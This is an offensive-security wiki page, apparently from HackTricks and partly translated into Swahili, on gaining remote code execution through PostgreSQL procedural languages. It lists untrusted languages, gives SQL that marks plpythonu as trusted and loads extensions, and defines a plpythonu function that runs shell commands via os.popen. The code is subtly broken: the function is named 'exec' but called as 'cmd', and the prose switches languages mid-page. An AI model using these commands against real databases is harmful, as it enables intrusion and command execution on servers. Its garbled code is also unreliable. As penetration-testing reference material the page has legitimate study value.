RCE with PostgreSQL Languages

Support HackTricks

PostgreSQL Languages

Hifadhi ya PostgreSQL uliyopata inaweza kuwa na lugha za skripti tofauti zilizowekwa ambazo unaweza kuzitumia ili kutekeleza msimbo wa kawaida.

Unaweza kuzipata zinafanya kazi:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Most of the scripting languages you can install in PostgreSQL have 2 flavours: the trusted and the untrusted. The untrusted will have a name ended in "u" and will be the version that will allow you to execute code and use other interesting functions. This are languages that if installed are interesting:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (any other programming language using an insecure version)

If you find that an interesting language is installed but untrusted by PostgreSQL (lanpltrusted is false) you can try to trust it with the following line so no restrictions will be applied by PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Ikiwa huoni lugha, unaweza kujaribu kuipakia na (unahitaji kuwa superadmin):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Kumbuka kwamba inawezekana kukusanya toleo salama kama "lisilo salama". Angalia hii kwa mfano. Hivyo, kila wakati inafaa kujaribu ikiwa unaweza kutekeleza msimbo hata kama unapata tu toleo lililoaminika lililowekwa.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Angalia ukurasa ufuatao:

PL/pgSQL Password Bruteforce

C

Angalia ukurasa ufuatao:

RCE with PostgreSQL Extensions
Support HackTricks

Last updated